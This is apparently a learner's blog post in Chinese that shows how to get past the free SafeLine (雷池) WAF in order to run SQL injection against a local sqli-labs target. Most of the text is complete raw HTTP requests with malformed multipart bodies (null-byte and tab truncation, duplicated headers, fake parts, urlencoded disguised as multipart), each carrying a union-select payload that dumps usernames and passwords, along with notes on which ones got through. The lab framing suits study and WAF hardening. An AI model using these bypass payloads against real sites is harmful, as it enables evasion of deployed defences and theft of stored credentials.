雷池免费的waf绕过
本文探讨了绕过雷池WAF进行SQL注入的方法。雷池WAF作为长亭科技的拳头产品,因其免费版功能强大、可视化界面友好而广受欢迎。文章指出,WAF绕过关键在于制造差异化,即让WAF与后端对请求的理解产生分歧。通过分析multipart/form-data传输特性,发现文件上传依赖文件名这一特点,可利用0x00截断等技术使WAF误判为文件上传而放行。以SQL注入为例,展示了不完整恶意代码可绕过语义化检测
为什么要写这篇文章呢?
因为最近在学waf的绕过啊
那为什么又是雷池的捏?因为雷池waf应该算是一个使用的比较多的waf吧?
雷池的waf有以下的优点,所以使用的人比较多
- 便宜,并且有个人免费版
- 功能强大,并且可视化界面看起来nb
- 是长亭的拳头产品,开发公司重视
那为什么又是免费版的waf呢?因为学习过程中一来就挑战收费的waf对我来说还是太难了
在雷池的绕过过程中,我们以sql注入为例子,get注入基本上绕过不过去,post请求倒是有可能。所以本文也在post请求下讨论绕过
回顾一下waf绕过的核心点:制造差异化
目前需要准备的环境:
- 部署雷池waf的虚拟机
- 部署sqli的靶场机
- 进行渗透的主机
环境部署会在后面出一篇文章,读者也可以自行准备,sqli和雷池waf都是有官方教程的
雷池waf的sql注入防御是语义化,那么这个语义化是什么?
语义化检测 = 不再依赖关键字的特征匹配(这个匹配包括正则匹配等),而是真正“理解” 用户输入的含义和结构像编译器一样
其核心关注两点:
- 语法层面: 流量的内容是否构成符合语言语法的代码片段
- 语义层面: 用户输入的内容是否改变了原本代码的语义
上面两个关注点也指出了真正的sql注入:语法正确+语义被污染,只有满足这两个条件sql注入也才会被waf阻拦
我们可以试一下这个特点
访问部署好的环境,要记得走waf代理,使用不完整的恶意代码
a' or updatexml
1111
会发现没有被拦截
如果输入完整的恶意代码
a' or updatexml(1,1,1)#
1111
就会被拦截
接下来我们聊一聊waf绕过的差异点
waf绕过的差异点
之前在一篇《腾讯waf挑战赛回忆录》的文章中看到:–对于一个http请求,nginx解析了什么的内容?交给后面的php,asp又解析了什么内容?–
当我们分析了这些之后,再从waf的角度出发,就能够看到一些 差异化
依旧是借助这篇文章的思路,从 multipart/form-data 出发,multipart/form-data 一般用来传递文件,但是在某些情况下也可以传递post参数 ,在Nginx+php的架构上,nginx不会解析multipart/form-data的body部分,而是交给php来解析,于是,第一个差异化也就出现了,waf获取到的数据和php获取到的数据就可能不一样
同样,我们写一个demo来测试一下
<?php
// 读取并输出 HTTP 请求的原始请求体body(未解析的原始数据)
echo file_get_contents("php://input");
echo "<hr>";
// 当为post请求的时候输出
var_dump($_POST);
echo "<hr>";
//当为上传文件的时候输出
var_dump($_FILES);
?>
在bp拦截后上传数据,修改 Content-Type 会得到下面的结果


对比正常的multipart/form-data传输参数,在请求体当中少了一个filename=选项,获得的响应的类似,唯一区别就是file_get_contents()有没有输出。在那篇文章中可以看到,这9个字符缺一不可,少一个多一个,修改一个都会当作post传输,由此可以得出,文件上传依赖文件名。
在一些WAF的产品中,一些waf产品为了降低误报率(为了用户体验考虑吧),对用户上传文件的内容不做匹配,会直接放行。在大多数情况下,用户上传的文件不会有什么恶意,特别是前端如果还对用户上传的文件做了一些特别的处理的话(比如图片进行裁剪、压缩、重绘,文件进行,文件后缀和类型限制,文件大小限制等),就可以认为是无害的。(但是聪明的你总能想到特别的手段)。那么我们问题的关键就来了,我们的目的就是让waf认为我们在上传文件,而后端则是认为我们是在进行post提交,如果实现了,我们就可以进行我们想要的操作了。
了解思路过后我们来进行雷池waf绕过的实战
雷池waf绕过
我们先来看看一些简单的入门级绕过思路:
1、0x00截断 filename
php底层是C语言,在C语言当中,\0是一个结束符号的表示,当出现了该字符,就表示这个字符串结束了,而http请求中每一行当作一个字符串传入,在这一句中使用00截断,也只会影响这一行,当然这个漏洞在php5.3.4之后被修复了
我们先来一个测试,以sqli的11关为例子:使用bp抓包,修改http请求包(需要修改less11的文件,避免其他参数影响,记得保存文件备份,方便恢复,删除掉文件中和password相关的即可,还要删除掉submit的name),下面是博主修改后的文件
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-11- Error Based- String</title>
</head>
<body bgcolor="#000000">
<div style=" margin-top:20px;color:#FFF; font-size:24px; text-align:center"> Welcome <font color="#FF0000"> Dhakkan </font><br></div>
<div align="center" style="margin:40px 0px 0px 520px;border:20px; background-color:#0CF; text-align:center; width:400px; height:150px;">
<div style="padding-top:10px; font-size:15px;">
<!--Form to post the data for sql injections Error based SQL Injection-->
<form action="" name="form1" method="post">
<div style="margin-top:15px; height:30px;">Username :
<input type="text" name="uname" value=""/>
</div>
<!--<div> Password : -->
<!--<input type="text" name="passwd" value=""/>-->
<!--</div></br>-->
<div style=" margin-top:9px;margin-left:90px;">
<!--<input type="submit" name="submit" value="Submit" />-->
<input type="submit" value="Submit" />
</div>
</form>
</div></div>
<div style=" margin-top:10px;color:#FFF; font-size:23px; text-align:center">
<font size="6" color="#FFFF00">
<?php
//including the Mysql connect parameters.
include("../sql-connections/sqli-connect.php");
error_reporting(0);
// take the variables
// if(isset($_POST['uname']) && isset($_POST['passwd']))
if(isset($_POST['uname']))
{
$uname=$_POST['uname'];
print_r($uname);
// $passwd=$_POST['passwd'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
// 需要添加 \n 表示文件换行,避免后面读取的时候出现问题,登录不上
fwrite($fp,'User Name:'.$uname."\n");
// fwrite($fp,'Password:'.$passwd."\n");
fclose($fp);
// connectivity
// @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
@$sql="SELECT username FROM users WHERE username='$uname' LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
if($row)
{
//echo '<font color= "#0000ff">';
echo "<br>";
echo '<font color= "#FFFF00" font size = 4>';
//echo " You Have successfully logged in\n\n " ;
echo '<font size="3" color="#0000ff">';
echo "<br>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
// echo 'Your Password:' .$row['password'];
echo "<br>";
echo "</font>";
echo "<br>";
echo "<br>";
echo '<img src="../images/flag.jpg" />';
echo "</font>";
}
else
{
echo '<font color= "#0000ff" font size="3">';
//echo "Try again looser";
print_r(mysqli_error($con1));
echo "</br>";
echo "</br>";
echo "</br>";
echo '<img src="../images/slap.jpg" />';
echo "</font>";
}
}
?>
</font>
</div>
</body>
</html>
然后修改http包如下图,仅需要修改content-type和body即可:

然后我们会发现登陆失败,这是因为我这里使用的版本为php7.3,00截断不生效,只要我们验证是否被雷池拦住即可知道这个入门级渗透是否有效
补全代码之后,发现被拦截。那我们可不可以在其他地方进行00截断呢?只要使得php和waf获取到不同的上传参数即可
接下来就试试:
\0
下面的代码不可直接复制,因为\0对系统本身也会认为是结束符号,读者可以试试自己修改hex后,复制粘贴看看效果
POST /Less-11/ HTTP/1.1
Host: www.sqli123.com:1024
Content-Length: 216
Content-Type: multipart/form-data; boundary=a;
--a
Content-Disposition: form-data; name="uname"; filename="1.txt";
Content-Disposition: form-data; name="uname";
Content-Type: image/png;
a' union select group_concat(username,0x3a,password)from users#
--a--

\0则是在这个地方成功了,下面这个位置也可以生效
\0截断在这里生效,在之前的位置不生效很可能是雷池waf没有考虑完全,不过要修复起来应该很快
那使用其他截断字符可以吗,我们接下来使用一下其他字符比如:\t,\n
\t
POST /Less-11/ HTTP/1.1
Host: www.sqli123.com:1024
Content-Length: 216
Content-Type: multipart/form-data; boundary=a;
--a
Content-Disposition: form-data; name="uname"; filename ="1.txt";
Content-Disposition: form-data; name="uname";
Content-Type: image/png;
a' union select group_concat(username,0x3a,password)from users#
--a--

可以发现\t在这使用成功(预言家刀了)
为什么 \t 在这里成功了呢?,推测是雷池的waf过滤掉了 \t 但是php并没有处理
\n
POST /Less-11/ HTTP/1.1
Host: www.sqli123.com:1024
Content-Length: 217
Content-Type: multipart/form-data; boundary=a;
--a
Content-Disposition : form-data; name="uname"; filename
="1.txt";
Content-Disposition: form-data; name="uname";
Content-Type: image/png;
a' union select group_concat(username,0x3a,password)from users#
--a--

\0 作者倒是试了很多次,占时还没有试出来结果
当然也有可能有其他位置可以,请读者自行尝试
2、双写上传描述行
双写上传描述行,雷池waf会取第二个(猜测写多个的话是取最后一个),而php则会取第一个(php老问题了),让waf认为是文件上传,php则是post传参
需要注意数据读取的上传和结束位置,避免换行等特殊字符也被读入了,使得sql语句失效
POST /Less-11/ HTTP/1.1
Host: www.sqli123.com:1024
Content-Length: 214
Content-Type: multipart/form-data; boundary=a;
--a
Content-Disposition: form-data; name="uname";
Content-Disposition: form-data; name="uname";filename="1.txt";
Content-Type: image/png;
a' union select group_concat(username,0x3a,password)from users#
--a--

可以看见成功绕过了雷池免费的waf并且获取了后台的数据
在《腾讯waf挑战赛回忆录》这篇文章中,后面双写的思路本质上和这个也是一样的,这里就不过多赘述了。读者可以自行测试,其中有些还是被waf拦截了。
类似思路文章2,3,6,7
3、构造假的part部分
个人感觉构造假的part部分和双写类似,waf读取到下面那部分,认为是文件上传,而php认为是一整个,则会认为是post传参,可以看到这个方法在雷池免费waf下可行
POST /Less-11/ HTTP/1.1
Host: www.sqli123.com:1024
Content-Length: 248
Content-Type: multipart/form-data; boundary=a;
--a
Content-Disposition: form-data; name="uname";
Content-Type: image/png;
--a
Content-Disposition: form-data; name="uname"; filename="1.txt";
Content-Type: image/png;
a' union select group_concat(username,0x3a,password)from users#
--a--

类似的思路在文章中的4-5
4、空boundary
POST /Less-11/ HTTP/1.1
Host: www.sqli123.com:1024
Content-Length: 255
Content-Type: multipart/form-data; boundary=;
--;
Content-Disposition: form-data; name="uname";filename="1.txt";
Content-Type: image/png;
1
--
Content-Disposition: form-data; name="uname";
Content-Type: image/png;
a' union select group_concat(username,0x3a,password)from users#
----
--;--
不给boundary传值,会让雷池waf认为 ; 号是开始和结束的标志,而php则会认为空为结束符,于是我们就可以有下面的注入
但是也被waf拦截了,雷池还是没这么简单
类似思路 在文章中的8-10
5、严格的boundary
在前面的绕过过程中,能够发现一个规律,就是php比较灵活,而waf是属于比较严格的那种,那我们是否可以试试 “严格” 的 boundary 和 “不严格” 的 boundary
POST /Less-11/ HTTP/1.1
Host: www.sqli123.com:1024
Content-Length: 325
Content-Type: multipart/form-data; aaaboundarybbb=a;boundary=b;
--b
Content-Disposition : form-data; name="uname"; filename="1.txt";
Content-Type: image/png;
1
--a
Content-Disposition : form-data; name="uname"; filename="1.txt";
Content-Disposition: form-data; name="uname";
Content-Type: image/png;
a' union select group_concat(username,0x3a,password)from users#
--a--
--b--

但是在测试的过程中发现好像并没有成功,还是被waf给教训了
6、单双引号混合
和sql注入一样,我们需要思考的一个问题,如何闭合,如果php闭合是一种,而waf闭合是另外一种,那么 差异化 就又体现出来了
POST /Less-11/ HTTP/1.1
Host: www.sqli123.com:1024
Content-Length: 255
Content-Type: multipart/form-data; boundary=a;
--a
Content-Disposition : form-data; name='uname'uname"; filename="1.txt";
Content-Type: image/png;
--a
Content-Disposition: form-data; name="uname";
Content-Type: image/png;
a' union select group_concat(username,0x3a,password)from users#
--a--
但是很遗憾,依旧没有成功
7、urlencoded伪装成为multipart
这里就直接引用原文了
这个poc很特殊。实际上是 urlencoded,但是伪装成了 multipart,通过&来截取前后装 饰部分,保留id参数的完整性。理论上multipart/form-data 下的内容不进行urldecoded, 一些WAF也正是这样设计的,这样做本没有问题,但是如果是urlencoded格式的内容,不 进行url 解码就会引入%0a这样字符,而这样的字符不解码是可以直接绕过防护规则的,从 而导致了绕过。
大致意思就是php认为是urlencoded,而waf认为是文件multipart,然后使用 & 字符区分参数,然后后端php就能通过urlencode获取到我们传入的代码
POST /Less-11/ HTTP/1.1
Host: www.sqli123.com:1024
Content-Length: 178
Content-Type: application/x-www-form-urlencoded;
multipart/form-data;boundary=a;
--a
Content-Disposition: form-data; name="uname"; filename="1.txt";
Content-Type: image/png;
1 &uname=a' union select group_concat(username,0x3a,password)from users#&
--a--
可以发现,很轻松的绕过了waf
很棒的一种思路
8、skip_upload
skip_upload01
还是来到了这一步,查看 c 语言底层
查看 c 语言底层代码可以发现php是通过一个 skip_upload 来判断是否需要跳过文件上传的,下面是php5.3.3/main/rfc1867.c中一段的内容
if (!skip_upload) {
char *tmp = param;
long c = 0;
while (*tmp) {
if (*tmp == '[') {
c++;
} else if (*tmp == ']') {
c--;
if (tmp[1] && tmp[1] != '[') {
skip_upload = 1;
break;
}
}
if (c < 0) {
skip_upload = 1;
break;
}
tmp++;
}
}
其中的param就是传入的参数 name=“uname”,简单读一下这段代码,可以发现想办法让 skip_upload=1 并且跳出即可,那么让 c<0 或者是不成对的 [] 出现也是可以的,那么我们这里构造一下 uname] 使得括号不成对,看能不能跳出
POST /Less-11/ HTTP/1.1
Host: www.sqli123.com:1024
Content-Length: 259
Content-Type:multipart/form-data;boundary=a;
--a
Content-Disposition: form-data; name="uname]"; filename="1.txt";
Content-Type: image/png;
--a
Content-Disposition: form-data; name="uname";
Content-Type: image/png;
1 &uname=a' union select group_concat(username,0x3a,password)from users#&
--a--

但是很遗憾,失败了,很可能是雷池waf追踪到了
skip_upload02
继续看代码,发现有一个上传文件数量的限制
/* If file_uploads=off, skip the file part */
if (!PG(file_uploads)) {
skip_upload = 1;
} else if (upload_cnt <= 0) {
skip_upload = 1;
sapi_module.sapi_error(E_WARNING, "Maximum number of allowable file uploads has been exceeded");
}
如果上传文件超出了限制也会进行跳出,那么如何使得文件上传数量到达限制的数量?
原文:php 5.2.12 和以上的版本,有一个隐藏的文件上传限制是在php.ini里没有的,就是 这个max_file_uploads 的设定,该默认值是20, 在php 5.2.17的版本中该值已不再隐藏。文 件上传限制最大默认设为20,所以一次上传最大就是20个文档,所以超出20个就会出错 了。
于是我们构建20个文件上传,并在第21个上传我们的恶意代码试试
POST /Less-11/ HTTP/1.1
Host: www.sqli123.com:1024
Content-Length: 2212
Content-Type:multipart/form-data;boundary=a;
--a
Content-Disposition: form-data; name="uname";filename="1.txt"
Content-Type: image/png;
admin
--a
Content-Disposition: form-data; name="uname";filename="1.txt"
Content-Type: image/png;
admin
--a
Content-Disposition: form-data; name="uname";filename="1.txt"
Content-Type: image/png;
admin
--a
Content-Disposition: form-data; name="uname";filename="1.txt"
Content-Type: image/png;
admin
--a
Content-Disposition: form-data; name="uname";filename="1.txt"
Content-Type: image/png;
admin
--a
Content-Disposition: form-data; name="uname";filename="1.txt"
Content-Type: image/png;
admin
--a
Content-Disposition: form-data; name="uname";filename="1.txt"
Content-Type: image/png;
admin
--a
Content-Disposition: form-data; name="uname";filename="1.txt"
Content-Type: image/png;
admin
--a
Content-Disposition: form-data; name="uname";filename="1.txt"
Content-Type: image/png;
admin
--a
Content-Disposition: form-data; name="uname";filename="1.txt"
Content-Type: image/png;
admin
--a
Content-Disposition: form-data; name="uname";filename="1.txt"
Content-Type: image/png;
admin
--a
Content-Disposition: form-data; name="uname";filename="1.txt"
Content-Type: image/png;
admin
--a
Content-Disposition: form-data; name="uname";filename="1.txt"
Content-Type: image/png;
admin
--a
Content-Disposition: form-data; name="uname";filename="1.txt"
Content-Type: image/png;
admin
--a
Content-Disposition: form-data; name="uname";filename="1.txt"
Content-Type: image/png;
admin
--a
Content-Disposition: form-data; name="uname";filename="1.txt"
Content-Type: image/png;
admin
--a
Content-Disposition: form-data; name="uname";filename="1.txt"
Content-Type: image/png;
admin
--a
Content-Disposition: form-data; name="uname";filename="1.txt"
Content-Type: image/png;
admin
--a
Content-Disposition: form-data; name="uname";filename="1.txt"
Content-Type: image/png;
admin
--a
Content-Disposition: form-data; name="uname";filename="1.txt"
Content-Type: image/png;
admin
--a
Content-Disposition: form-data; name="uname";"
Content-Type: image/png;
a' union select group_concat(username,0x3a,password)from users#
--a--
但是依旧很不幸,雷池的waf在底层代码顶得比较死,依旧是失败了
总结一下
雷池waf看不起小漏洞
雷池waf在面对比较小的字符处理漏洞和双写还有待优化,但是在代码追踪这一块是真的没得说。
双写漏洞就是php自找的
如果文中有错误的地方欢迎读者指出,谢谢
更多推荐
所有评论(0)